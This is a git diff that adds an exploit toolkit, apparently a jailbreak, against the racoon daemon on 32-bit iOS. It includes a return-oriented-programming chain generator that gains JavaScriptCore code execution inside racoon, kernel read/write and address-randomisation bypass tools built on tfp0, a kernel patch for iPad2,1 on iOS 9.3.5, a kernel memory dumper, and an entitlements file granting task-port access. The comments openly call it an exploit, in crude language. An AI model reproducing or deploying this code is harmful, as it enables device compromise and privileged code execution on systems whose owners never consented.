\ No newline at end of file diff --git a/src/stage2.c b/src/stage2.c new file mode 100644 index 0000000..4297e79 --- /dev/null +++ b/src/stage2.c @@ -0,0 +1,400 @@ +/* + * drunk_rac00n + * + * we call this "ROP" round these parts + * steal everything, kill everyone, cause total financial ruin. + * + * this exploit is seriously garbage, but gawd damnit it exploits the thing + * + * hax + */ + +#include <mach-o/dyld.h> +#include "stage2.h" +#include <stdint.h> +#include <stdlib.h> +#include <syslog.h> +#include <dlfcn.h> +#include <stdio.h> + +#define MOV_R0(what) do { \ + chain[chain_len++] = what; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + mov_r0; \ +} while (0) + +#define CALL(what) do { \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = what; \ + chain[chain_len++] = base + nulls_addr; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + blx_r5; \ +} while (0) + +#define CALL_1ARG(what, arg) do { \ + MOV_R0(arg); \ + CALL(what); \ +} while (0) + +#define STR_R0(where) do { \ + chain[chain_len++] = where; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + str_r0_r4; \ + chain[chain_len++] = where; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + mov_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + ldr_r0_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + nop; \ +} while (0) + +#define MOV_R1_R0() do { \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + mov_r1_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + nop; \ +} while (0) + +#define DEREF_IN_R0(what) do { \ + chain[chain_len++] = what; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + mov_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + ldr_r0_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + nop; \ +} while (0) + +#define DEREF_R0() do { \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + ldr_r0_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + nop; \ +} while (0) + +#define MOV_R1(what) do { \ + chain[chain_len++] = what; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + mov_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + mov_r1_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + nop; \ +} while (0) + +#define ADD_R0_R1() do { \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + add_r0_r1; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + nop; \ +} while (0) + +#define CALL_4_ARG_L2_0(what, arg1, arg2) do { \ + MOV_R0(0); \ + STR_R0(base + reserve_addr + 0x40000); \ + MOV_R0(base + weird_r3); \ + STR_R0(base + reserve_addr + 0x4014); \ + MOV_R0(base + reserve_addr + 0x4000); \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = arg2; \ + chain[chain_len++] = base + reserve_addr + 0x40000; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + other_weird_r3; \ + MOV_R0(arg1); \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = what; \ +} while (0) \ + +#define CALL_4_PTRARG_L2_0(what, arg1, arg2) do { \ + DEREF_IN_R0(arg1); \ + STR_R0(stack_base + (chain_len * 4) + 520); \ + DEREF_IN_R0(arg2); \ + STR_R0(stack_base + (chain_len * 4) + 340); \ + MOV_R0(0); \ + STR_R0(base + reserve_addr + 0x40000); \ + MOV_R0(base + weird_r3); \ + STR_R0(base + reserve_addr + 0x4014); \ + MOV_R0(base + reserve_addr + 0x4000); \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = 0x32323232; \ + chain[chain_len++] = base + reserve_addr + 0x40000; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + other_weird_r3; \ + MOV_R0(0x31313131); \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = what; \ + chain[chain_len++] = 0; \ + chain[chain_len++] = 0; \ + chain[chain_len++] = 0; \ + chain[chain_len++] = 0; \ + chain[chain_len++] = base + nop; \ +} while (0) \ + +#define CALL_SLID_4_ARG_L2_0(what, arg1, arg2) do { \ + DEREF_IN_R0(base + reserve_addr + 20); \ + MOV_R1_R0(); \ + MOV_R0(what); \ + ADD_R0_R1(); \ + STR_R0(stack_base + (chain_len * 4) + 392); \ + CALL_4_ARG_L2_0(0x12345678, arg1, arg2); \ +} while (0) + +#define CALL_SLID(what) do { \ + STR_R0(base + reserve_addr + 444); \ + DEREF_IN_R0(base + reserve_addr + 20); \ + MOV_R1_R0(); \ + MOV_R0(what); \ + ADD_R0_R1(); \ + STR_R0(base + reserve_addr + 448); \ + MOV_R1(0); \ + DEREF_IN_R0(base + reserve_addr + 448); \ + STR_R0(stack_base + (chain_len * 4) + 96 + (18 * 4)); \ + DEREF_IN_R0(base + reserve_addr + 444); \ + CALL(0x1234567c); \ +} while (0) + +#define CALL_SLID_4_PTRARG_L2_0(what, arg1, arg2) do { \ + DEREF_IN_R0(base + reserve_addr + 20); \ + MOV_R1_R0(); \ + MOV_R0(what); \ + ADD_R0_R1(); \ +/* MOV_R1_R0(); \ + CALL_1ARG(base + printf_addr, base + dyld_shc_base_status); \ +*/ STR_R0(stack_base + (chain_len * 4) + 720); \ + CALL_4_PTRARG_L2_0(0x12345679, arg1, arg2); \ +} while (0) + +#define PRINT_STILL_HERE() do { \ +/* CALL_1ARG(base + printf_addr, 0x109000); */\ +} while (0) + +uintptr_t get_dyld_shc_slide(void) { + return _dyld_get_image_vmaddr_slide(1); +} + +uintptr_t get_dyld_shc_sym_addr(char* sym) { + return dlsym(RTLD_DEFAULT, sym) - get_dyld_shc_slide(); +} + +rop_chain_shit gen_rop_chain(uint32_t base, + uint32_t we_out_here_addr, + uint32_t mov_r0, + uint32_t puts_addr, + uint32_t blx_r5, + uint32_t nulls_addr, + uint32_t malloc_addr, + uint32_t mov_r1_r0, + uint32_t nop, + uint32_t malloc_status_addr, + uint32_t printf_addr, + uint32_t exit_addr, + uint32_t str_r0_r4, + uint32_t reserve_addr, + uint32_t ldr_r0_r0, + uint32_t add_r0_r1, + uint32_t stack_base, + uint32_t dyld_shc_base_status, + uint32_t scprefcreate_dsc_offset, + uint32_t scprefcreate_lazy_offset, + uint32_t weird_r3, + uint32_t other_weird_r3) { + /* + * to quote qwertyoruiop: + * ROP Insanity. + * + * Message to security researchers, feds and apple employees: + * + * If you want to understand this, you have to hit a blunt. + * I don't care if you're at work. Roll a fat one and smoke it. Right now. + * + * If your boss questions this, feel free to tell him to contact me. I'll explain how crucial THC is for this shit. + */ + + /* + * this is definitely overkill + */ + uint32_t* chain = (uint32_t*)calloc(0x100000, sizeof(uint32_t)); + uint32_t chain_len = 0; + + rop_chain_shit chain_b0i = (rop_chain_shit)malloc(sizeof(struct rop_chain_shit_t)); + + /* output "intro" string */ + CALL_1ARG(base + puts_addr, base + we_out_here_addr); + +// CALL_4_ARG_L2_0(base + 0x9ad8c, LOG_SYSLOG, base + we_out_here_addr); + + /* allocate memory for file read later */ + CALL_1ARG(base + malloc_addr, 0x100000); + STR_R0(base + reserve_addr); + MOV_R1_R0(); + + /* output malloc string */ + CALL_1ARG(base + printf_addr, base + malloc_status_addr); + + /* calculate dyld_shared_cache slide */ + MOV_R0(0 - (0x20000000 + scprefcreate_dsc_offset)); + MOV_R1_R0(); + DEREF_IN_R0(base + scprefcreate_lazy_offset); + ADD_R0_R1(); + STR_R0(base + reserve_addr + 20); + + /* calculate dyld_shared_cache slide */ + MOV_R0(0 - (scprefcreate_dsc_offset)); + MOV_R1_R0(); + DEREF_IN_R0(base + scprefcreate_lazy_offset); + ADD_R0_R1(); + STR_R0(base + reserve_addr + 16); + + /* print the status string */ + MOV_R1_R0(); + CALL_1ARG(base + printf_addr, base + dyld_shc_base_status); + +// uint32_t slid_b0i = 0x2b14000; + + uint32_t JSContextGroupCreate = get_dyld_shc_sym_addr("JSContextGroupCreate"); + uint32_t JSGlobalContextCreateInGroup = get_dyld_shc_sym_addr("JSGlobalContextCreateInGroup"); + uint32_t JSContextGetGlobalObject = get_dyld_shc_sym_addr("JSContextGetGlobalObject"); + uint32_t JSStringCreateWithUTF8CString = get_dyld_shc_sym_addr("JSStringCreateWithUTF8CString"); + uint32_t JSEvaluateScript = get_dyld_shc_sym_addr("JSEvaluateScript"); + uint32_t dlsym_ = get_dyld_shc_sym_addr("dlsym"); + + MOV_R0(dlsym_); + STR_R0(base + reserve_addr + 24); + +// uint32_t settimeofday = get_dyld_shc_sym_addr("settimeofday"); + +// fprintf(stderr, "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x\n", JSContextGroupCreate, JSGlobalContextCreateInGroup, JSContextGetGlobalObject, JSStringCreateWithUTF8CString, JSEvaluateScript, stime); + +/* + MOV_R0(0); + STR_R0(base + 0x140000); + STR_R0(base + 0x140004); + + MOV_R0(0); + MOV_R1_R0(); + MOV_R0(base + 0x140000); + CALL_SLID(settimeofday); + */ + + PRINT_STILL_HERE(); + CALL_SLID(JSContextGroupCreate); + STR_R0(base + reserve_addr + 0x40); + MOV_R1_R0(); + PRINT_STILL_HERE(); + MOV_R1(0); + DEREF_IN_R0(base + reserve_addr + 0x40); + + CALL_SLID(JSGlobalContextCreateInGroup); + STR_R0(base + reserve_addr + 0x44); + MOV_R1_R0(); + PRINT_STILL_HERE(); + DEREF_IN_R0(base + reserve_addr + 0x44); + + CALL_SLID(JSContextGetGlobalObject); + STR_R0(base + reserve_addr + 0x48); + PRINT_STILL_HERE(); + DEREF_IN_R0(base + reserve_addr + 0x48); + MOV_R1_R0(); + MOV_R0(0x108000); + + CALL_SLID(JSStringCreateWithUTF8CString); + STR_R0(base + reserve_addr + 0x48); + PRINT_STILL_HERE(); + DEREF_IN_R0(base + reserve_addr + 0x48); + MOV_R1_R0(); + CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48); + MOV_R1_R0(); + PRINT_STILL_HERE(); + + uint32_t slide = (base) >> 12; + + fprintf(stderr, "%x %x\n", base, stack_base); + fprintf(stderr, "%x\n", get_dyld_shc_slide()); + + MOV_R0(0x422260); + STR_R0(0x422290); +// MOV_R0(0x2022260); +// STR_R0(0x2022290); + // MOV_R0(0x422260); + // STR_R0(0x422290); + + MOV_R0(0x10a000); + CALL_SLID(JSStringCreateWithUTF8CString); + STR_R0(base + reserve_addr + 0x48); + PRINT_STILL_HERE(); +/* + DEREF_IN_R0(base + reserve_addr + 0x48); + MOV_R1_R0(); + */ + CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48); + MOV_R1_R0(); + PRINT_STILL_HERE(); + +// DEREF_IN_R0(0x144444); +// MOV_R1_R0(); +// CALL_1ARG(base + printf_addr, base + dyld_shc_base_status); + +// CALL_1ARG(base + printf_addr, 0x109000); + + /* exit */ + CALL_1ARG(base + exit_addr, 69); + + chain_b0i->teh_chain = chain; + chain_b0i->chain_len = chain_len * 4; + + return chain_b0i; +}
\ No newline at end of file diff --git a/src/stage2.h b/src/stage2.h new file mode 100644 index 0000000..0c7b62b --- /dev/null +++ b/src/stage2.h @@ -0,0 +1,40 @@ +#ifndef SHITTY_ROP_H +#define SHITTY_ROP_H + +#include <stdint.h> + +struct rop_chain_shit_t { + uint32_t* teh_chain; + uint32_t chain_len; +}; + +typedef struct rop_chain_shit_t* rop_chain_shit; + +#define GARBAGE 0x6A9BA6E +//#define UNUSED 0xEEEEEEEE +#define UNUSED 0x40000000 | (0x100000 + (__LINE__)) + +rop_chain_shit gen_rop_chain(uint32_t base, + uint32_t default_domain_addr, + uint32_t mov_r0, + uint32_t puts_addr, + uint32_t blx_r5, + uint32_t nulls_addr, + uint32_t malloc_addr, + uint32_t mov_r1_r0, + uint32_t nop, + uint32_t malloc_status_addr, + uint32_t printf_addr, + uint32_t exit_addr, + uint32_t str_r0_r4, + uint32_t reserve_addr, + uint32_t ldr_r0_r0, + uint32_t add_r0_r1, + uint32_t stack_base, + uint32_t dyld_shc_base_status, + uint32_t scprefcreate_dsc_offset, + uint32_t scprefcreate_lazy_offset, + uint32_t weird_r3, + uint32_t other_weird_r3); + +#endif
\ No newline at end of file diff --git a/tools/build.sh b/tools/build.sh new file mode 100755 index 0000000..5baab83 --- /dev/null +++ b/tools/build.sh @@ -0,0 +1,8 @@ +mkdir bin +xcrun -sdk iphoneos clang -arch armv7 fuck_aslr.c -o bin/fuck_aslr; ldid -Sent.xml bin/fuck_aslr; cat bin/fuck_aslr | ssh root@localhost -p 2222 "rm fuck_aslr; cat > fuck_aslr; chmod +x fuck_aslr" +xcrun -sdk iphoneos clang -arch armv7 fuck_aslr2.c -o bin/fuck_aslr2; ldid -Sent.xml bin/fuck_aslr2; cat bin/fuck_aslr2 | ssh root@localhost -p 2222 "rm fuck_aslr2; cat > fuck_aslr2; chmod +x fuck_aslr2" +xcrun -sdk iphoneos clang -arch armv7 fuck_ptr.c -o bin/fuck_ptr; ldid -S bin/fuck_ptr; cat bin/fuck_ptr | ssh root@localhost -p 2222 "rm fuck_ptr; cat > fuck_ptr; chmod +x fuck_ptr" +xcrun -sdk iphoneos clang -arch armv7 jit_all_the_things.c -o bin/jit_all_the_things; ldid -S bin/jit_all_the_things; cat bin/jit_all_the_things | ssh root@localhost -p 2222 "rm jit_all_the_things; cat > jit_all_the_things; chmod +x jit_all_the_things" +xcrun -sdk iphoneos clang -arch armv7 jsc_fun.c -framework JavaScriptCore -o bin/jsc_fun; ldid -S bin/jsc_fun; cat bin/jsc_fun | ssh root@localhost -p 2222 "rm jsc_fun; cat > jsc_fun; chmod +x jsc_fun" + +scp -P 2222 lol.js root@localhost:/var/root/lol.js
\ No newline at end of file diff --git a/tools/ent.xml b/tools/ent.xml new file mode 100755 index 0000000..35801e8 --- /dev/null +++ b/tools/ent.xml @@ -0,0 +1,15 @@ +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+ <key>platform-application</key>
+ <true/>
+ <key>com.apple.private.security.no-container</key>
+ <true/>
+ <key>com.apple.system-task-ports</key>
+ <true/>
+ <key>task_for_pid-allow</key>
+ <true/>
+ <key>get-task-allow</key>
+ <true/>
+</dict>
+</plist>
\ No newline at end of file diff --git a/tools/envdump.c b/tools/envdump.c new file mode 100644 index 0000000..4536d00 --- /dev/null +++ b/tools/envdump.c @@ -0,0 +1,17 @@ +#include <unistd.h>
+#include <stdio.h>
+
+int main(int argc, char* argv[], char* envp[]) {
+ char** environ_ = envp;
+
+ FILE* fp = fopen("/tmp/envdump.txt", "w");
+
+ while (*environ_) {
+ fprintf(fp, "%s\n", *environ_);
+ environ_++;
+ }
+
+ fclose(fp);
+
+ return 0;
+}
\ No newline at end of file diff --git a/tools/envrun.c b/tools/envrun.c new file mode 100644 index 0000000..bc5dd08 --- /dev/null +++ b/tools/envrun.c @@ -0,0 +1,25 @@ +#include <unistd.h>
+#include <stdio.h>
+
+int main(int argc, char* argv[]) {
+ char* argv_[] = {
+ "/bin/sh",
+ NULL
+ };
+
+ char* envp_[] = {
+ "SHELL=/bin/sh",
+ "USER=mobile",
+ "HOME=/var/mobile",
+ "XPC_FLAGS=0x0",
+ "XPC_SERVICE_NAME=0",
+ "LOGNAME=mobile",
+ "PATH=/usr/bin:/bin:/usr/sbin:/sbin",
+ "__CF_USER_TEXT_ENCODING=0x1F5:0:0",
+ NULL
+ };
+
+ execle("/bin/sh", "/bin/sh", NULL, envp_);
+
+ return 0;
+}
\ No newline at end of file diff --git a/tools/fuck_aslr.c b/tools/fuck_aslr.c new file mode 100755 index 0000000..c8e9714 --- /dev/null +++ b/tools/fuck_aslr.c @@ -0,0 +1,114 @@ +/*
+ * fuck_aslr
+ */
+
+#include <stdio.h>
+#include <mach/mach.h>
+
+task_t tfp0;
+#define LC_SIZE 0x0000000f
+
+uint8_t lol[] = {
+ 0x40, 0xf2, 0x69, 0x00
+};
+
+mach_port_t get_kernel_task_port() {
+ mach_port_t kernel_task;
+ kern_return_t kr;
+ if ((kr = task_for_pid(mach_task_self(), 0, &kernel_task)) != KERN_SUCCESS) {
+ return -1;
+ }
+ return kernel_task;
+}
+
+uint32_t do_kernel_read(uint32_t addr) {
+ size_t size = 4;
+ uint32_t data = 0;
+
+ kern_return_t kr = vm_read_overwrite(get_kernel_task_port(),(vm_address_t)addr,size,(vm_address_t)&data,&size);
+ if (kr != KERN_SUCCESS) {
+ printf("[!] Read failed. %s\n",mach_error_string(kr));
+ return -1;
+ }
+ return data;
+}
+
+void do_kernel_write(uint32_t addr, uint32_t data) {
+ kern_return_t kr = vm_write(get_kernel_task_port(),(vm_address_t)addr,(vm_address_t)&data,sizeof(data));
+
+ if (kr != KERN_SUCCESS) {
+ printf("Error writing!\n");
+ return;
+ }
+}
+
+uint32_t get_kernel_slide() {
+ uint32_t slide;
+ uint32_t base = 0x80001000;
+ uint32_t slid_base;
+
+ for (int slide_byte = 256; slide_byte >= 1; slide_byte--) {
+ slide = 0x01000000 + 0x00200000 * slide_byte;
+ slid_base = base + slide;
+
+ if (do_kernel_read(slid_base) == 0xfeedface) {
+ if (do_kernel_read(slid_base + 0x10) == LC_SIZE) {
+ return slide;
+ }
+ }
+ }
+ return -1;
+}
+
+int main(int argc, char* argv[]) {
+ printf("[*] fuck aslr\n");
+ task_for_pid(mach_task_self(), 0, &tfp0);
+ uint8_t lol_slide;
+ /*
+ * LAB_8029c06e XREF[1]: 8029c04e(j)
+ * 8029c06e 4c a8 add r0,sp,#0x130
+ * 8029c070 04 21 movs r1,#0x4
+ * 8029c072 15 f6 d5 bl _read_random void _read_random(void * buf
+ * fb
+ * 8029c076 c4 f1 14 rsb.w r0,r4,#0x14
+ * 00
+ * 8029c07a 01 21 movs r1,#0x1
+ * 8029c07c 01 fa 00 lsl.w r8,r1,r0
+ * f8
+ * 8029c080 4c 98 ldr r0,[sp,#local_190]
+ * 8029c082 4f ea e8 asr.w r11,r8, asr #0x1f
+ * 7b
+ * 8029c086 00 21 movs r1,#0x0
+ * 8029c088 20 f0 00 bic r0,r0,#0x80000000
+ * 40
+ * 8029c08c 42 46 mov r2,r8
+ * 8029c08e 5b 46 mov r3,r11
+ * 8029c090 f7 f0 b6 bl FUN_80393200 undefined FUN_80393200()
+ * f8
+ * 8029c094 82 46 mov r10,r0
+ * 8029c096 0e 46 mov r6,r1
+ * 8029c098 2c 46 mov r4,r5
+ * 8029c09a 00 2d cmp r5,#0x0
+ * 8029c09c 01 d0 beq LAB_8029c0a2
+ * 8029c09e e5 6a ldr r5,[r4,#0x2c]
+ * 8029c0a0 00 e0 b LAB_8029c0a4
+
+ */
+ uint32_t patch_addy = 0x8029c088; // iPad2,1 9.3.5
+ if (argc < 2) {
+ lol_slide = 0x0;
+ } else {
+ lol_slide = strtoul(argv[1], NULL, 16);
+ }
+ if (argc != 3) {
+ lol[2] = lol_slide;
+ printf("[*] vm_write returned %d\n", vm_write(tfp0, patch_addy + get_kernel_slide(), (vm_address_t)lol, sizeof(lol)));
+ } else {
+ lol[0] = 0x20;
+ lol[1] = 0xf0;
+ lol[2] = 0x00;
+ lol[3] = 0x40;
+ printf("[*] vm_write returned %d\n", vm_write(tfp0, patch_addy + get_kernel_slide(), (vm_address_t)lol, sizeof(lol)));
+ }
+ return 0;
+}
\ No newline at end of file diff --git a/tools/fuck_aslr2.c b/tools/fuck_aslr2.c new file mode 100644 index 0000000..9181bcc --- /dev/null +++ b/tools/fuck_aslr2.c @@ -0,0 +1,86 @@ +/*
+ * fuck_aslr
+ */
+
+#include <stdio.h>
+#include <mach/mach.h>
+
+task_t tfp0;
+#define LC_SIZE 0x0000000f
+
+uint8_t lol[] = {
+ 0x40, 0xf2, 0x69, 0x00
+};
+
+mach_port_t get_kernel_task_port() {
+ mach_port_t kernel_task;
+ kern_return_t kr;
+ if ((kr = task_for_pid(mach_task_self(), 0, &kernel_task)) != KERN_SUCCESS) {
+ return -1;
+ }
+ return kernel_task;
+}
+
+uint32_t do_kernel_read(uint32_t addr) {
+ size_t size = 4;
+ uint32_t data = 0;
+
+ kern_return_t kr = vm_read_overwrite(get_kernel_task_port(),(vm_address_t)addr,size,(vm_address_t)&data,&size);
+ if (kr != KERN_SUCCESS) {
+ printf("[!] Read failed. %s\n",mach_error_string(kr));
+ return -1;
+ }
+ return data;
+}
+
+void do_kernel_write(uint32_t addr, uint32_t data) {
+ kern_return_t kr = vm_write(get_kernel_task_port(),(vm_address_t)addr,(vm_address_t)&data,sizeof(data));
+
+ if (kr != KERN_SUCCESS) {
+ printf("Error writing!\n");
+ return;
+ }
+}
+
+uint32_t get_kernel_slide() {
+ uint32_t slide;
+ uint32_t base = 0x80001000;
+ uint32_t slid_base;
+
+ for (int slide_byte = 256; slide_byte >= 1; slide_byte--) {
+ slide = 0x01000000 + 0x00200000 * slide_byte;
+ slid_base = base + slide;
+
+ if (do_kernel_read(slid_base) == 0xfeedface) {
+ if (do_kernel_read(slid_base + 0x10) == LC_SIZE) {
+ return slide;
+ }
+ }
+ }
+ return -1;
+}
+
+int main(int argc, char* argv[]) {
+ vm_size_t segment = 0x800;
+ uint32_t lol = get_kernel_slide();
+ task_t tfp0 = get_kernel_task_port();
+ uint32_t len = 32 * 1024 * 1024;
+ uint8_t* kdata = (uint8_t*)malloc(len);
+ for (int i = 0; i < len / segment; i++) {
+ /*
+ * DUMP DUMP DUMP
+ */
+
+ vm_read_overwrite(tfp0,
+ 0x80001000 + lol + (i * segment),
+ segment,
+ (vm_address_t)kdata + (i * segment),
+ &segment);
+ }
+
+ FILE* fp = fopen("dump.bin", "wb");
+ fwrite(kdata, 1, len, fp);
+ fclose(fp);
+
+ return 0;
+}
\ No newline at end of file diff --git a/tools/fuck_ptr.c b/tools/fuck_ptr.c new file mode 100755 index 0000000..25eab56 --- /dev/null +++ b/tools/fuck_ptr.c @@ -0,0 +1,60 @@ +#include <stdio.h>
+#include <stdlib.h>
+#include <mach/mach.h>
+
+#include <mach-o/dyld.h>
+
+#include <dlfcn.h>
+
+int lol;
+
+int main(void) {
+// printf("[*] aslr better be a cripple now: &lol = %p, malloc(...) = %p\n", &lol, malloc(0x4));
+// printf("[*] lol2=0x%08x\n", *(uint32_t*)0x800000);
+ task_t kek = mach_task_self();
+ uint8_t* page = malloc(0x1000);
+
+ for (int i = 0; i < _dyld_image_count(); i++) {
+ printf("%s: 0x%x (slid 0x%x)\n", _dyld_get_image_name(i), _dyld_get_image_header(i), _dyld_get_image_vmaddr_slide(i));
+ }
+
+ printf("begin\n");
+ fflush(stdout);
+
+ printf("%p\n", dlopen("/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore", RTLD_GLOBAL));
+
+ printf("RTLD_LAZY=%d RTLD_NOW=%d RTLD_GLOBAL=%d RTLD_LOCAL=%d RTLD_NODELETE=%d RTLD_NOLOAD%d\n", RTLD_LAZY, RTLD_NOW, RTLD_GLOBAL, RTLD_LOCAL, RTLD_NODELETE, RTLD_NOLOAD);
+
+#if 0
+ for (int i = 0xb4000; i < 0xb5000; i += 4) {
+// uint32_t* lol = (uint32_t*)(0x1fe6a58c + (i << 12));
+ uint32_t lol = *(uint32_t*)i;
+ if (lol >= 0x1fe00000 && lol <= 0x1ff00000) {
+ printf("0x%08x 0x%08x\n", i, lol);
+ }
+ (void)fflush(__stdoutp);
+ }
+
+
+ if (*lol == 0xb5f0) break;
+ }
+#endif
+
+ printf("success\n");
+ /*
+ size_t size;
+ for (uint32_t pagen = 0x0; pagen < (0xffffffff >> 12); pagen++) {
+
+ if (pagen % ((0xffffffff >> 12) / 100) == 0) {
+ //printf("%d\n", pagen / ((0xffffffff >> 12) / 100));
+ }
+
+ uint32_t page_start = pagen << 12;
+ if (vm_read_overwrite(kek, page_start, 0x1000, (vm_address_t)page, &size))
+ continue; // page isn't allocated
+
+// printf("0x%08x\n", page_start);
+ }
+ */
+ return 0;
+}
diff --git a/tools/jit_all_the_things.c b/tools/jit_all_the_things.c new file mode 100755 index 0000000..d955ea1 --- /dev/null +++ b/tools/jit_all_the_things.c @@ -0,0 +1,11 @@ +#include <sys/types.h>
+#include <stdio.h>
+
+#define PT_TRACE_ME 0
+int ptrace(int, pid_t, caddr_t, int);
+int main(int argc, char* argv[]) {
+ ptrace(PT_TRACE_ME, 0, NULL, 0);
+ exit(0);
+
+ return 0;
+}
\ No newline at end of file diff --git a/tools/jsc_fun b/tools/jsc_fun Binary files differnew file mode 100755 index 0000000..83f9b13 --- /dev/null +++ b/tools/jsc_fun diff --git a/tools/lol.js b/tools/lol.js new file mode 100644 index 0000000..b11a54d --- /dev/null +++ b/tools/lol.js @@ -0,0 +1,15 @@ +` +Bye bye, ROP... +Now we have JavaScript code execution in racoon. + +From now on, all of our doings should be possible from within JSC, +ROP should no longer be an issue. + +We have a pretty stable arbitrary memory r/w primitive, which I believe +should be able to facilitate creation of an arbitrary call primitive, +at which point ROP is basically *actually* done for. + + with love from spv. <3 +` + +//write_u32(0x41414141, 0x42424242);
\ No newline at end of file diff --git a/tools/test.c b/tools/test.c new file mode 100755 index 0000000..6682971 --- /dev/null +++ b/tools/test.c @@ -0,0 +1,61 @@ +#include <stdio.h> +#include <stdint.h> +#include <stdlib.h> + +#include <vproc.h> + +#define LC_DEFAULT_CF SYSCONFDIR "/racoon.conf" + +typedef char vchar_t; + +#define LC_PATHTYPE_INCLUDE 0 +#define LC_PATHTYPE_PSK 1 +#define LC_PATHTYPE_CERT 2 +#define LC_PATHTYPE_BACKUPSA 3 +#define LC_PATHTYPE_SCRIPT 4 +#define LC_PATHTYPE_PIDFILE 5 +#define LC_PATHTYPE_LOGFILE 6 +#define LC_PATHTYPE_MAX 7 + +#define LC_DEFAULT_PAD_MAXSIZE 20 +#define LC_DEFAULT_PAD_RANDOM TRUE +#define LC_DEFAULT_PAD_RANDOMLEN FALSE +#define LC_DEFAULT_PAD_STRICT FALSE +#define LC_DEFAULT_PAD_EXCLTAIL TRUE +#define LC_DEFAULT_RETRY_COUNTER 5 +#define LC_DEFAULT_RETRY_INTERVAL 10 +#define LC_DEFAULT_COUNT_PERSEND 1 +#define LC_DEFAULT_RETRY_CHECKPH1 30 +#define LC_DEFAULT_WAIT_PH2COMPLETE 30 +#define LC_DEFAULT_NATT_KA_INTERVAL 20 + +#define LC_DEFAULT_SECRETSIZE 16 /* 128 bits */ + +#define LC_IDENTTYPE_MAX 5 /* XXX */ + +#define LC_GSSENC_UTF16LE 0 /* GSS ID in UTF-16LE */ +#define LC_GSSENC_LATIN1 1 /* GSS ID in ISO-Latin-1 */ +#define LC_GSSENC_MAX 2 + +#define LC_AUTOEXITSTATE_SET 0x00000001 +#define LC_AUTOEXITSTATE_CLIENT 0x00000010 +#define LC_AUTOEXITSTATE_ENABLED 0x00000011 /* both VPN client and set */ + +struct a { + char *logfile_param; /* from command line */ + char *pathinfo[LC_PATHTYPE_MAX]; + vchar_t *ident[LC_IDENTTYPE_MAX]; /* base of Identifier payload. */ + + int pad_random; + int pad_randomlen; + int pad_maxsize; + int pad_strict; + int pad_excltail; +}; + +int main() { + int* a = malloc(0x100); + *a = 0x1; + printf("%x", *(int*)a + 0xa4); + printf("%x\n", sizeof(struct a)); +}
\ No newline at end of file |
